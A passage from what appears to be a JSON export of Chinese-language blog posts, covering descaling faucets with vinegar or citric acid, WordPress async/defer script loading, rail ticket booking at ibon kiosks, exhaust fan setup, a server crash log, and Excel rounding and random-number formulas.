左右。這個檸檬酸的濃度其實不用非常在意，若是太淡的話只是清潔效果差一點，而如果太濃的話，就只是浪費一點檸檬酸罷了。\n然後拿沾有白醋或檸檬酸的紙巾，把整個水龍頭包起來，在包的時候盡量讓紙巾貼緊水龍頭，不要有氣泡在裡面，這樣才能讓白醋或檸檬酸接觸到水垢。\nStep 2\n等待兩、三個小時之後，把紙巾拆開，看看效果如何。通常第一次包的時候，都會有一些地方沒有包的很好，可以用拆下來的紙巾將這些地方重新包一次，然後在再等一段時間。\nStep 3\n等到所有的水垢都被清除之後，把紙巾拆掉，再用清水把水龍頭上的檸檬酸或醋沖乾淨，這樣就完成了。\n檸檬酸或醋不可以跟氯系的清潔劑（例如氯系的漂白水等）接觸，兩者混合會產生有毒的氯氣。\n大理石若接觸到檸檬酸或醋，會造成表面變色或受損，使用上請小心注意。\n補充資料 使用醋（乙酸，俗稱醋酸）清除水垢（碳酸鈣）的化學反應式，這跟蛋泡醋的或學反應相同：\n碳酸鈣 + 醋酸 → 醋酸鈣 + 碳酸\nCaCO3 + 2CH3COOH → Ca(CH3COO)2 + H2CO3\n而這個是使用碳酸鈣清除水垢的化學反應式：\n碳酸鈣 + 檸檬酸 → 檸檬酸鈣 + 碳酸\n3CaCO3 + 2C6H8O7 → Ca3(C6H5O7)2 + 3H2CO3\n有些人會擔心這種化學變化會不會產生有害的物質，以上兩種化學反應所生成的醋酸鈣（乙酸鈣）與檸檬酸鈣，都是屬於可以食用的鹽類，也常被添加在食品之中，所以就算用於熱水瓶等食用的器具，也不用擔心殘留問題。至於碳酸就是二氧化碳溶於水而已，這個當然也不會有任何問題。\n大理石是很常見房屋建材，由於大理石的主要化學成分就是碳酸鈣（跟水垢的主要成分相同），所以如果您家中有大理石的話，在使用醋或檸檬酸的時候，一定要避免跟大理石接觸，如果兩個一接觸到就會發生上述的化學變化，造成大理石表面受損。\n氯系的清潔劑通常成分會標示含有次氯酸鈉（NaOCl）或含氯，這樣的清潔劑都不可以跟酸接觸，包含鹽酸、醋酸、檸檬酸等，如果氯系的清潔劑碰到酸會產生有毒的氯氣，危害人體健康，使用上也要特別注意。\n參考資料 ptt 健康醫療網 大紀元 CMoney ","permalink":"https://blog.gtwang.org/life/how-to-clean-polished-nickel-faucets-using-citric-acid-or-white-vinegar/","summary":"\u003cp\u003e這裡介紹如何使用白醋或檸檬酸來清除水龍頭上白色的水垢，適用於廚房、浴室以及各種洗手台與流理台。\u003c/p\u003e\n\u003cp\u003e許多人家中的水龍頭使用久了之後，表面都會出現一層白色的水垢，讓水龍頭看起來髒髒舊舊的，而且用一般的清潔劑或肥皂也都很難把它刷洗乾淨。\u003c/p\u003e","title":"使用白醋或檸檬酸清除水垢教學，清潔浴室水龍頭、熱水瓶等"},{"content":"本篇介紹如何將 WordPress 網站的 JavaScript 改以 async 與 defer 的方式載入，改善網站的效能。\n網站在建置的後期階段都會進行一些效能的校調，而 PageSpeed Insights 是 Google 所提供的網頁效能分析工具，輸入網址即可立即測試網站效能，並且還有列出各種問題以及解決方案。\n「移除禁止轉譯 JavaScript」是一般網站很常見的問題，以 WordPress 架設的網站也不例外，簡單來說禁止轉譯的 JavaScript 會拖慢整個 HTML 網頁的解析，如果您的 WordPress 網站在測試之後，也出現了這個訊息（如下圖），可以依照以下的方式來調整。\nasync 與 defer 的差別 在進行調整之前，我們先說明一下 JavaScript 檔案的載入與 HTML 解析之間的關係，釐清這個觀念可以讓您更清楚該如何調整自己的網站設定。\n一般網頁的內容主要是由 HTML 程式碼再加上 JavaScript、CSS 與圖片等等元素所構成的，而 HTML 原始碼是瀏覽器第一個階收到的資料，後續才會接著取得其他的外部的 JavaScript、CSS 與 圖片檔案，現在的瀏覽器都很聰明，可以一邊解析 HTML 一邊繪製已經解析的網頁元素，如果希望網頁可以很迅速的顯示出來，就要想辦法讓 HTML 解析的速度越快越好。\n在網頁載入時，瀏覽器只要遇到普通的 JavaScript 引入檔，就會暫停 HTML 的解析動作，先去下載 JavaScript 檔並且執行，處理完 JavaScript 之後，才會繼續 HTML 的解析，而 async 與 defer 可以改變瀏覽器對於 JavaScript 引入檔的載入與執行時機。\n如果加入 async 的話，會讓引入的 JavaScript 檔在背景載入（包含連線至伺服器與下載），當 JavaScript 載入完成之後，才會中斷 HTML 的解析來執行 JavaScript 的程式，這是一個比較折衷的做法，既可以加速 HTML 解析，又可以減少對於整個網頁程式的影響。\n而如果使用 defer 的話，引入的 JavaScript 檔一樣會在背景載入，不過載入完成後瀏覽器會等到整個 HTML 完全解析完成後，才會執行該 JavaScript 的程式內容，所以 JavaScript 的載入與執行幾乎不會影響 HTML 的解析，但是缺點是 JavaScript 的程式內容會很慢才執行。\n該用 async 還是 defer？ 了解 async 與 defer 的作用之後，接下來的問題就是我們該使用哪一種載入方式比較好？以下是一些大原則：\n如果一個 JavaScript 是自己獨立的，不需要依賴其他的 JavaScript 就可以運作，那麼就可以使用 async。 如果一個 JavaScript 需要依賴網頁中其他的 JavaScript 程式，則建議使用 defer。 如果有一個 JavaScript 檔案 file1.js 需要依賴 file2.js 的內容才能執行，而且 file2.js 的檔案內容又很小的話，我們可以將 file2.js 的內容直接以 inline 的方式放在 file1.js 引入位置之前，這樣就可以讓 file1.js 以 async 的方式載入，又不影響相依性。 以上這些只是大原則，並不是絕對的標準，實際該怎麼使用我覺得還是要看每個 JavaScript 的性質，一般來說 async 是最常用的，它可以在盡量不影響原來的執行順序之下，加速網頁的載入與顯示。\n對於某些比較次要的 JavaScript 程式（例如作用在網頁底端的程式），雖然沒有相依性問題，但是由於它不需要在網頁一開始顯示時就急著執行，放在最後也不影響的話，就可以直接使用 defer，這樣對於整個網頁的效能會更好。\n在以 WordPress 架設的網站中通常都會有許多外掛模組（plugin）所提供的 JavaScript 檔，這些檔案都散佈在不同的位置，而且隨時可能更動，如果要讓這些 JavaScript 加上 async 或 defer，必須使用 WordPress 的 add_filter 功能，靠 PHP 程式來判斷與處理，這樣就算未來外掛模組有更動時，也會很好維護。\n加入 async 或 defer 若要讓 WordPress 網站內所有的 JavaScript 引入檔都自動加入 async，可以在佈景主題（theme）中的 function.php 檔中，加入類似這樣的 filter：\n# 把所有引入的 JavaScript 檔加入 async 屬性 function js_async_attr($tag){ return str_replace( \u0026#39; src\u0026#39;, \u0026#39; async=\u0026#34;async\u0026#34; src\u0026#39;, $tag ); } add_filter( \u0026#39;script_loader_tag\u0026#39;, \u0026#39;js_async_attr\u0026#39;, 10 ); 這是將所有 JavaScript 引入檔都加入 defer 的版本：\n# 把所有引入的 JavaScript 檔加入 defer 屬性 function js_defer_attr($tag){ return str_replace( \u0026#39; src\u0026#39;, \u0026#39; defer=\u0026#34;defer\u0026#34; src\u0026#39;, $tag ); } add_filter( \u0026#39;script_loader_tag\u0026#39;, \u0026#39;js_defer_attr\u0026#39;, 10 ); 排除某些 JavaScript 如果想要所有的 JavaScript 引入檔都自動加入 async，但是排除某些少數的 JavaScript 檔案，就可以使用這樣的方式。\n# 把所有引入的 JavaScript 檔加入 async 屬性， # 但排除某些 JavaScript 檔 function js_async_attr($tag){ # 排除的 JavaScript 檔 $scripts_to_exclude = array( \u0026#39;script-name1.js\u0026#39;, \u0026#39;script-name2.js\u0026#39;, \u0026#39;script-name3.js\u0026#39;); foreach($scripts_to_exclude as $exclude_script){ if (true == strpos($tag, $exclude_script)) return $tag; } return str_replace( \u0026#39; src\u0026#39;, \u0026#39; async=\u0026#34;async\u0026#34; src\u0026#39;, $tag ); } add_filter( \u0026#39;script_loader_tag\u0026#39;, \u0026#39;js_async_attr\u0026#39;, 10 ); 其中 $scripts_to_exclude 就是要排除的 JavaScript 檔案列表。由於我們這裡是使用 PHP 的 strpos 函數來比對 JavaScript 檔案的，所以不見得一定要指定整個 JavaScript 全名，也可以使用重點的關鍵字，例如若要排除 foo-bar-core.js 與 foo-bar-libs.js 兩個 JavaScript 檔，可以直接指定 foo-bar- 這樣的關鍵字即可。\n若要加入 defer 的話，就把上面這段程式碼的 async 改為 defer 即可。\n限定 JavaScript 檔 如果要對每一個 JavaScript 引入檔個別指定要是否要加入 async 或 defer 的話，就可以使用這樣的方式，這種做法可以對網站進行比較細部的校調。\n# 把指定的 JavaScript 檔加入 async 或 defer 屬性 function defer_js_async($tag){ # 要加入 defer 屬性的 JavaScript 檔 $scripts_to_defer = array( \u0026#39;script-name1.js\u0026#39;, \u0026#39;script-name2.js\u0026#39;, \u0026#39;script-name3.js\u0026#39;); # 要加入 async 屬性的 JavaScript 檔 $scripts_to_async = array( \u0026#39;script-name4.js\u0026#39;, \u0026#39;script-name5.js\u0026#39;, \u0026#39;script-name6.js\u0026#39;); # 處理 defer foreach($scripts_to_defer as $defer_script){ if(true == strpos($tag, $defer_script ) ) return str_replace( \u0026#39; src\u0026#39;, \u0026#39; defer=\u0026#34;defer\u0026#34; src\u0026#39;, $tag ); } # 處理 async foreach($scripts_to_async as $async_script){ if(true == strpos($tag, $async_script ) ) return str_replace( \u0026#39; src\u0026#39;, \u0026#39; async=\u0026#34;async\u0026#34; src\u0026#39;, $tag ); } return $tag; } add_filter( \u0026#39;script_loader_tag\u0026#39;, \u0026#39;defer_js_async\u0026#39;, 10 ); 其中 $scripts_to_defer 與 $scripts_to_async 分別是要加入 defer 與 async 的 JavaScript 引入檔清單，這裡同樣可以使用重點關鍵字的方式來指定 JavaScript 檔案。\n以上就是在 WordPress 中調整 JavaScript 引入檔載入的方法，善用這些技巧就可以有效提升網頁的效率，除此之外，我們還可以利用 YUI Compressor 或 Google Closure Compiler 來壓縮 JavaScript 檔案，讓 JavaScript 的載入速度更快。\n參考資料 Orbiting Web Growing with the Web ","permalink":"https://blog.gtwang.org/web-development/using-defer-or-async-with-scripts-in-wordpress/","summary":"\u003cp\u003e本篇介紹如何將 WordPress 網站的 JavaScript 改以 \u003ccode\u003easync\u003c/code\u003e 與 \u003ccode\u003edefer\u003c/code\u003e 的方式載入，改善網站的效能。\u003c/p\u003e\n\u003cp\u003e網站在建置的後期階段都會進行一些效能的校調，而 \u003ca href=\"https://developers.google.com/speed/pagespeed/insights/\"\u003ePageSpeed Insights\u003c/a\u003e 是 Google 所提供的網頁效能分析工具，輸入網址即可立即測試網站效能，並且還有列出各種問題以及解決方案。\u003c/p\u003e","title":"WordPress 設定 JavaScript 使用 Async 與 Defer 載入，網站校調技巧教學"},{"content":"這裡介紹如何在 7-ELEVEN 用 ibon 訂購台灣高鐵車票，並且馬上付款取票，既方便又不用排隊。\n我們之前介紹過台灣高鐵的網路訂票與超商取票的流程，如果不想事先上網訂票，直接去 7-ELEVEN 用 ibon 現場訂票並付款取票也可以，以下是操作步驟教學。\nStep 1\n在 7-ELEVEN 便利商店中，找到這一台 ibon 機器，首先選擇「票卷中心」的「台灣高鐵 THSR」。\nStep 2\n選擇服務項目，沒有事先上網訂票的話，就選擇「購票」。\nStep 3\n閱讀服務須知，點選「同意，繼續下一步」。\nStep 4\n選擇起程站。\nStep 5\n選擇到達站。\nStep 6\n選擇單程或去回票。\nStep 7\n選擇搭乘人數。\nStep 8\n搭乘人數請用「+」與「-」按鈕來調整，有四種不同得票種，請依照自己的狀況選擇。\nStep 9\n選擇會員積點方式，這是給企業員工積點用的，如果是個人的話，就選擇「非會員積點」即可。\nStep 10\n選擇出發日期。\nStep 11\n選擇出發時間。\nStep 12\n選擇車次。\nStep 13\n確認訂位資訊。\nStep 14\n這是 ibon 購票的注意事項，主要是提醒您如果票卷印刷不清楚，要跟門市人員反應。\nStep 15\n確認明細。\nStep 16\n列印繳費單。\nStep 17\n這是從 ibon 機器上印出來的繳費條碼，請拿這張繳費單到櫃台繳費並且取票。\nStep 18\n在櫃台繳費之後，就可以立即取票，這是從 7-ELEVEN 買的台灣高鐵車票。\n這種 ibon 高鐵票的使用方式跟一般的高鐵票有些差異，他是靠掃描二維條碼的方式驗票的，詳細的教學請參考網路訂票與超商取票的教學。\n","permalink":"https://blog.gtwang.org/life/thsr-ibon-ticket-booking-system/","summary":"\u003cp\u003e這裡介紹如何在 7-ELEVEN 用 ibon 訂購台灣高鐵車票，並且馬上付款取票，既方便又不用排隊。\u003c/p\u003e\n\u003cp\u003e我們之前介紹過台灣高鐵的\u003ca href=\"/life/thsr-online-ticket-booking-system-and-ibon/\"\u003e網路訂票與超商取票\u003c/a\u003e的流程，如果不想事先上網訂票，直接去 7-ELEVEN 用 ibon 現場訂票並付款取票也可以，以下是操作步驟教學。\u003c/p\u003e","title":"台灣高鐵 7-ELEVEN ibon 訂票、付款取票流程教學"},{"content":"本文介紹如何安裝與使用排風扇，加上調速線與定時開關，讓房屋在春夏保持通風，避免悶熱或發霉。\n從春天到夏天這段期間，台灣的氣候溫暖又潮濕，房子如果沒有保持良好的通風，很容易滋生黴菌，這時候可以考慮在對外的窗戶上裝一個排風扇，讓房子二十四小時保持通風，除了預防發霉之外，也可以讓房間更涼爽、更舒適。\n夏天室內悶熱，大部分人都會選擇開冷氣，不過由於冷氣非常耗電，大家在使用上還是會有所顧慮，其實除了冷氣之外，也可以考慮改用排風扇來解決。\n使用排風扇代替冷氣有許多優點，除了省電之外，吹自然風也不會有像冷氣那樣空氣過於乾燥的問題，在夏天的夜晚室外很涼爽時，降溫效果會更明顯。\n排風扇 一般的排風扇在五金行就可以找到，或是從拍賣網站上購買也可以，通常從拍賣網站上可以有比較多的選擇，搜尋的時候可以使用「排風扇」、「通風扇」、「 抽風機」、「通風機」與「排風機」這些關鍵字去搜尋。\n這是我最近從露天拍賣上買的兩個 10 吋通風扇。\n這種排風扇有好多種大小，從 8 吋到 16 吋左右都有，而每家廠牌的風扇材質與大小也會有一點差異，不過功能都是一樣的。\n購買前要先測量一下要安裝排風扇窗戶的尺寸，如果排風扇太大會裝不上去，而如果排風扇太小則會造成風量不足、排風效果差的問題，最好的選擇是剛好符合窗戶的大小，這樣效果最好。如果擔心風量太大，可以配合下面介紹的調速線來調整風量，這樣通常會比買小排風扇還好用。\n這是我裝在房間的 14 吋排風扇，平常睡覺的時候可以將外面的空氣抽來，讓房間更涼爽。\n這是我裝在廚房小窗戶上的 10 吋排風扇，平常讓它把室內潮濕的空氣往外抽，保持通風、預防發霉。\n這類的吸排兩用通風扇通常在安裝時不需要任何工具，直接「卡」進窗戶的凹槽中，在拉上窗戶夾緊就可以很牢固了，它可以選擇抽風或是排風，以我個人的習慣而言，若安裝在客廳、臥室的話，可以用抽風，把外面的新鮮空氣抽進屋內，而如果安裝在廚房或浴室的話，就選擇排風，讓濕氣排出屋外。\n如果將通風扇安裝在廚房或浴室，要注意遠離火源，並避免排風扇被水濺濕，以免發生危險。另外由於這類的通風扇沒有保護網，所以請避免安裝在孩童容易觸碰到的位置。\n調速線 如果在家中使用通風扇的話，通常都會感覺他的風扇轉速過高，尤其是在睡覺時會感覺很吵，要解決這個問題的話，建議可以加裝調速線來調整風扇的轉速，這樣會方便許多。這種調速線可以從拍賣網站上以「調速線」這個關鍵字來搜尋。\n調速線上有一個旋轉紐，可以調整風扇的轉速快慢。\n調速線在配合通風扇使用時，可以將通風扇的轉速調的很低，讓風速變的很小，只有微微的風慢慢吹，既舒服又沒有什麼聲音，睡覺的時候非常好用。\n如果您先把調速線轉到很低的位置，接著才打開通風扇的電源，可能會發生風扇無法啟動的狀況，這時候可以嘗試把調速線轉到較高的位置，這樣風扇才會啟動。\n定時器 如果想要讓房子保持通風、預防發霉，但是又不想 24 小時讓風扇轉不停，可以加裝一個定時器開關，讓風扇自動依照指定的時間開啟或關閉。\n這種機械式定時器在五金行都可以找到，拍賣網站上可用「定時器」、「預約定時開關」等關鍵字來搜尋。\n這種定時器就像一個小時鐘，上面有 24 小時的刻度，您可以設定每個時間點要開啟或是關閉電源，設定好時間並插上插座之後，它就會自動開始計時。\n以我買的這個定時器來說，一格刻度是 15 分鐘。\n有了這個定時器，我們就可以調整風扇運轉的時間，例如白天讓風扇轉 45 分鐘後休息 15 分鐘，而晚上則轉 15 分鐘休息 15 分鐘，諸如此類的設定都可以自行調整。\n參考資料 空氣對流的小方法 ","permalink":"https://blog.gtwang.org/diy/exhaust-fan-for-cooling-house/","summary":"\u003cp\u003e本文介紹如何安裝與使用排風扇，加上調速線與定時開關，讓房屋在春夏保持通風，避免悶熱或發霉。\u003c/p\u003e\n\u003cp\u003e從春天到夏天這段期間，台灣的氣候溫暖又潮濕，房子如果沒有保持良好的通風，很容易滋生黴菌，這時候可以考慮在對外的窗戶上裝一個排風扇，讓房子二十四小時保持通風，除了預防發霉之外，也可以讓房間更涼爽、更舒適。\u003c/p\u003e","title":"[DIY] 安裝排風扇讓房間空氣對流散熱，夏天省電不用吹冷氣"},{"content":"本篇是 G. T. Wang 網站伺服器於 2016 年 4 月 7 日下午當機停擺的記錄。\n今天下午赫然發現我的 G. T. Wang 部落格竟然無預警停擺，網頁伺服器可以連得上去，但是顯示的內容卻是 nginx 的錯誤訊息，差點把我嚇死，馬上連上伺服器檢查，結果更讓我吃驚，查了 /var/log 底下相關的伺服器記錄，一時之間找不到關鍵的錯誤訊息，但是網站卻是處於停止服務的狀態。\n我檢查了 nginx 的 error.log，都是一大堆 php5-fpm 的錯誤：\n2016/04/07 15:25:11 [error] 4743#0: *50 connect() to unix:/var/run/php5-fpm.sock failed (11: Resource temporarily unavailable) while connecting to upstream, client: 66.249.84.208, server: blog.gtwang.org, request: \"GET /feeds/posts/default HTTP/1.1\", upstream: \"fastcgi://unix:/var/run/php5-fpm.sock:\", host: \"blog.gtwang.org\" 接著去看 php5-fpm 的記錄檔，結果竟然沒有任何錯誤訊息在裡頭：\n在一臉疑惑的情況下，嘗試使用 service 重新啟動 php5-fpm 服務也無效，後來實在不想浪費時間找，直接重開機試試看，結果重開機之後就恢復正常了，從發現問題到處理完大約花了 5 分鐘，但是在我發現問題之前，網站已經掛了 20 分鐘了，應該有影響到不少的使用者。\n後來我仔細檢查伺服器的記錄檔，終於找到出問題的地方，主因出在 php5-fpm 的嚴重 bugs：\nApr 7 15:05:47 linode01 kernel: php5-fpm[17757]: segfault at 7ffcbc82b001 ip 000000000079fe74 sp 00007ffcbc823e70 error 6 in php5-fpm[400000+800000] 這種 segfault 問題通常不會有太明顯的錯誤訊息，而且 php5-fpm 出問題終止執行之後，使用 service 重新啟動似乎還會有問題，我猜可能是 pid 檔案之類的問題，不過我也不想找了，重開機可能會比慢慢找問題修正來得快。\n我目前所使用的 Linux 發行版是 Ubuntu，這類的 Linux 比較不穩定，會出這種問題我也不意外，只是我之前沒有考慮網站長期營運的問題，經過這次的事件之後，我會認真考慮未來改用 CentOS 或 RHEL 了。\n最後補充一下目前的系統環境資訊：\n項目 版本 Linux 發行版 Ubuntu 14.04.4 LTS Linux 核心 Linux linode01 4.5.0-x86_64-linode65 #2 SMP Mon Mar 14 18:01:58 EDT 2016 x86_64 x86_64 x86_64 GNU/Linux php5 5.5.9+dfsg-1ubuntu4.14 php5-fpm 5.5.9+dfsg-1ubuntu4 nginx 1.4.6-1ubuntu3 ","permalink":"https://blog.gtwang.org/linux/gtwang-web-server-crash-20160407/","summary":"\u003cp\u003e本篇是 G. T. Wang 網站伺服器於 2016 年 4 月 7 日下午當機停擺的記錄。\u003c/p\u003e\n\u003cp\u003e今天下午赫然發現我的 G. T. Wang 部落格竟然無預警停擺，網頁伺服器可以連得上去，但是顯示的內容卻是 nginx 的錯誤訊息，差點把我嚇死，馬上連上伺服器檢查，結果更讓我吃驚，查了 \u003ccode\u003e/var/log\u003c/code\u003e 底下相關的伺服器記錄，一時之間找不到關鍵的錯誤訊息，但是網站卻是處於停止服務的狀態。\u003c/p\u003e","title":"G. T. Wang 網站伺服器當機紀錄（2016/04/07）"},{"content":"本篇教學將介紹如何把 PowerPoint 中呆板的原始程式碼依照語法加上各種顏色，讓投影片更漂亮，看起來更舒服。\n有在寫程式的人應該都知道，程式碼的排版與顏色對於閱讀而言是很重要的，如果在 PowerPoint 簡報中加入大量的程式碼時，只用簡單的複製貼上的話，黑白又單調的程式碼只會讓人厭煩，相信就算是資深的程式設計師也不會喜歡看這樣簡報。\n以下我們介紹如何透過幾個簡單的步驟，讓大量的程式碼加上顏色，使原本乏味可陳程式碼變得很吸引人。\n安裝 Notepad++ 由於 PowerPoint 本身不具有辨識程式語言語法的功能，我們要借助其他的編輯軟體來幫程式碼上色，而 Notepad++ 是一個開放原始碼的免費軟體，小巧簡單而且預設就支援非常多種程式語言，我個人是很喜歡這個編輯器。\nStep 1\n從 Notepad++ 的官方網站下載安裝檔，進行安裝，首先選擇語言。\nStep 2\n點選「下一步」。\nStep 3\nGPL 授權協議，點選「我接受」。\nStep 4\n選擇安裝位置，點選「下一步」。\nStep 5\n選擇要安裝的元件，這裡的 Themes 與 Plugins 一定要安裝，建議用預設值即可，直接點選「下一步」。\nStep 6\n選擇要安裝的元件，用預設值即可，直接點選「下一步」。\nStep 7\n安裝完成，點選「完成」。\n使用 Notepad++ 幫程式碼加上顏色 安裝好 Notepad++ 之後，就可以開始幫程式碼加上顏色，然後把有顏色的程式碼加入 PowerPoint 簡報中，以下是操作步驟。\nStep 1\n用 Notepad++ 開啟原始程式碼的檔案，接著把要貼進 PowerPoint 簡報中的程式碼片段用滑鼠選擇起來，然後從「外掛」選單中選擇「NppExport」的「Copy RTF to clipboard」，複製這些程式碼與其顏色資訊。\nNotepadd++ 會依照檔案的副檔名來判斷該檔案是屬於何種程式語言，一般常見的程式語言 Notepad++ 應該都有支援，檔案開啟之後應該就會看到有顏色的程式碼；若不是使用開檔的方式，而是直接將程式碼貼進 Notepad++ 的話，就要手動從「語言」選單中選擇自己程式碼所屬的程式語言了。\nStep 2\n在 PowerPoint 中新增一張放置程式碼的投影片，因為我們的程式碼要貼在投影片的空白處，所以建議可以選擇「只有標題」的投影片，或是全部空白的也可以。\nStep 3\n用滑鼠在投影片空白處點一下，確認沒有選擇到任何投影片上面的元件，然後按下 Ctrl + v 將剛剛複製的程式碼貼上去。有些 PowerPoint 版本可能要從工具列中選擇「貼上」的「保持來源格式設定」的方式貼上。\nStep 4\n然後稍微調整一下文字的字型與大小，這樣就完成一張漂亮的程式碼投影片了。\n若對於顏色比較挑替的人，可能會感覺白色的底色讓人感覺很刺眼，以下我們要介紹如何自訂佈景主題，更換程式碼的配色，讓簡報看起來更吸引人。\n自訂佈景主題 我們可以使用 Notepad++ 提供的佈景主題來更換配色，讓程式碼搭配深色的底色，減輕對眼睛的刺激。\nStep 1\n在 Notepad++ 中，從「設定」選單開啟「設定程式語言格式」，然後選擇自己喜歡的佈景主題，建議可以選擇一個深色底的主題。\nStep 2\n更改 Notepad++ 的佈景主題之後，按照之前的方式將程式碼複製後，再貼進 PowerPoint 中，然後再將 PowerPoint 的佈景主題也更換一下，選擇一個深底色的主題，兩者配合之下質感就差很多了。\n使用 Word 去除程式碼文字背景色 上面的深底色簡報雖然不錯，但有一點美中不足的就是程式碼的背景顏色跟 PowerPoint 投影片的背景顏色沒有一致，這一點我們可以用 Word 來修正。\nStep 1\n將程式碼從 Notepad++ 複製之後，先貼進 Word 中。\nStep 2\n將程式碼的背景調整成「無色彩」。\nStep 2\n把沒有背景色的程式碼複製起來。\nStep 3\n把程式碼貼進 PowerPoint 投影片中，並且修改文字的字型與大小。\n這樣就完成一張非常完美的程式碼投影片了！\n","permalink":"https://blog.gtwang.org/programming/how-to-add-syntax-highlighted-code-to-powerpoint/","summary":"\u003cp\u003e本篇教學將介紹如何把 PowerPoint 中呆板的原始程式碼依照語法加上各種顏色，讓投影片更漂亮，看起來更舒服。\u003c/p\u003e\n\u003cp\u003e有在寫程式的人應該都知道，程式碼的排版與顏色對於閱讀而言是很重要的，如果在 PowerPoint 簡報中加入大量的程式碼時，只用簡單的複製貼上的話，黑白又單調的程式碼只會讓人厭煩，相信就算是資深的程式設計師也不會喜歡看這樣簡報。\u003c/p\u003e","title":"在 PowerPoint 簡報加入彩色的程式碼，讓投影片更漂亮"},{"content":"這裡介紹 Excel 的四捨五入、無條件進位、無條件捨去的公式，以及相關函數的用法與原理教學。\n在 Excel 中處理浮點數資料時，時常會需要把小數點以下太長的部分捨棄，而常見的處理的方式有三種，分別是四捨五入、無條件進位與無條件捨去，以下是這三種處理方式的 Excel 公式教學。\nExcel 四捨五入公式（ROUND） 在 Excel 如果要處理小數的四捨五入，可以使用 ROUND 函數，它的第一個參數是輸入的數值，而第二個參數則是要四捨五入至小數點以下第幾位數。\n若 ROUND 函數的第二個參數指定為負值，則代表小數點以上的位數，下面這個表是各種第二個參數所對應的位數。\n第二個參數值 對應的位數 2 小數第二位 1 小數第一位 0 整數 -1 十位數 -2 百位數 從以下的範例來看會比較好理解，這裡例子將 12345.6789 四捨五入至各個不同的位數。\nExcel 公式 計算結果 =ROUND(12345.6789, 2) 12345.68 =ROUND(12345.6789, 1) 12345.7 =ROUND(12345.6789, 0) 12346 =ROUND(12345.6789, -1) 12350 =ROUND(12345.6789, -2) 12300 對於負數而言，其規則也跟正數一樣，只是多出一個負號而已：\nExcel 公式 計算結果 =ROUND(-12345.6789, 2) -12345.68 =ROUND(-12345.6789, 1) -12345.7 =ROUND(-12345.6789, 0) -12346 =ROUND(-12345.6789, -1) -12350 =ROUND(-12345.6789, -2) -12300 若要四捨五入特定儲存格內的數值，可將 ROUND 函數的第一個參數填入儲存格的位置：\n這是對負數四捨五入的情況。\nExcel 無條件進位公式（ROUNDUP） Excel 的 ROUNDUP 函數可以將特定位數以下的數值以背離於 0 的方式無條件進位。它的第一個參數是輸入的數值，而第二個參數則是指定從小數點以下第幾位數開始進位（若第二個參數指定為負值，則代表小數點以上的位數，請參考前面 ROUND 函數的說明）。\n從以下是將 12345.6789 依據不同的位數無條件進位的範例。\nExcel 公式 計算結果 =ROUNDUP(12345.6789, 2) 12345.68 =ROUNDUP(12345.6789, 1) 12345.7 =ROUNDUP(12345.6789, 0) 12346 =ROUNDUP(12345.6789, -1) 12350 =ROUNDUP(12345.6789, -2) 12400 對於負數而言，其規則也跟正數一樣，只是多出一個負號而已：\nExcel 公式 計算結果 =ROUNDUP(-12345.6789, 2) -12345.68 =ROUNDUP(-12345.6789, 1) -12345.7 =ROUNDUP(-12345.6789, 0) -12346 =ROUNDUP(-12345.6789, -1) -12350 =ROUNDUP(-12345.6789, -2) -12400 若要對特定儲存格內的數值無條件進位，可將 ROUNDUP 函數的第一個參數填入儲存格的位置：\n這是對負數無條件進位的情況。\nExcel 無條件捨去公式（ROUNDDOWN） Excel 的 ROUNDDOWN 函數可以將特定位數以下的數值以趨近於 0 的方式無條件捨去。它的第一個參數是輸入的數值，而第二個參數則是指定從小數點以下第幾位數開始捨去（若第二個參數指定為負值，則代表小數點以上的位數，請參考前面 ROUND 函數的說明）。\n從以下是將 12345.6789 依據不同的位數無條件捨去的範例。\nExcel 公式 計算結果 =ROUNDDOWN(12345.6789, 2) 12345.67 =ROUNDDOWN(12345.6789, 1) 12345.6 =ROUNDDOWN(12345.6789, 0) 12345 =ROUNDDOWN(12345.6789, -1) 12340 =ROUNDDOWN(12345.6789, -2) 12300 對於負數而言，其規則也跟正數一樣，只是多出一個負號而已：\nExcel 公式 計算結果 =ROUNDDOWN(-12345.6789, 2) -12345.67 =ROUNDDOWN(-12345.6789, 1) -12345.6 =ROUNDDOWN(-12345.6789, 0) -12345 =ROUNDDOWN(-12345.6789, -1) -12340 =ROUNDDOWN(-12345.6789, -2) -12300 若要對特定儲存格內的數值無條件捨去，可將 ROUNDDOWN 函數的第一個參數填入儲存格的位置：\n這是對負數無條件捨去的情況。\n","permalink":"https://blog.gtwang.org/windows/excel-ruond-roundup-rounddown-formulas-functions/","summary":"\u003cp\u003e這裡介紹 Excel 的四捨五入、無條件進位、無條件捨去的公式，以及相關函數的用法與原理教學。\u003c/p\u003e\n\u003cp\u003e在 Excel 中處理浮點數資料時，時常會需要把小數點以下太長的部分捨棄，而常見的處理的方式有三種，分別是四捨五入、無條件進位與無條件捨去，以下是這三種處理方式的 Excel 公式教學。\u003c/p\u003e","title":"Excel 四捨五入、無條件進位、無條件捨去公式，相關函數用法教學"},{"content":"本篇整理了各種 Excel 中常用的亂數產生公式，還有相關數學函數的用教學。\nExcel 中有好幾種可以產生隨機亂數資料的函數，以下分別介紹各種不同的隨機數值資料產生方法，包含浮點數、整數或是固定位數的小數等。\nExcel 公式速查表 這裡整理了 Excel 中常用的亂數產生方式，有各種不同的隨機分佈，方便大家快速查詢、直接複製使用。\nExcel 會在每次開啟檔案時重新計算這些亂數，每次產生的數值都會不同，如果要手動讓 Excel 重新產生所有的亂數，可以按 F9 鍵。\n均勻分布 均勻分布（uniform distribution）就是所有的亂數出現的機率都相同，以下是連續型與離散型的各種常用公式。\nExcel 公式 資料型態 亂數範圍 =RAND() 浮點數 0 ≦ x ＜ 1 =RAND()*100 浮點數 0 ≦ x ＜ 100 =RAND()*100-50 浮點數 -50 ≦ x ＜ 50 =ROUNDDOWN(RAND(),2) 小數點以下 2 位 0 ≦ x ≦ 0.99 =ROUNDDOWN(RAND()*10,2) 小數點以下 2 位 0 ≦ x ≦ 9.99 =RANDBETWEEN(1,100) 整數 1 ≦ x ≦ 100 =RANDBETWEEN(-1,1) 整數 -1 ≦ x ≦ 1 =RANDBETWEEN(0,10) 整數 0 ≦ x ≦ 10 =RANDBETWEEN(1,100)/100 小數點以下 2 位 0.01 ≦ x ≦ 1 =RANDBETWEEN(-1000,1000)/100 小數點以下 2 位 -10 ≦ x ≦ 10 這是在 Excel 中實際測試的情況，每次所產生的亂數都會不同，按 F9 可以重新產生亂數資料。\n常態分布 常態分布（normal distribution，又稱高斯分布）是一般資料分析上最常使用的分布之一，以下是在 Excel 中產生常態分布資料的公式。\nExcel 公式 平均值 標準差 =NORM.INV(RAND(),0,1) 1 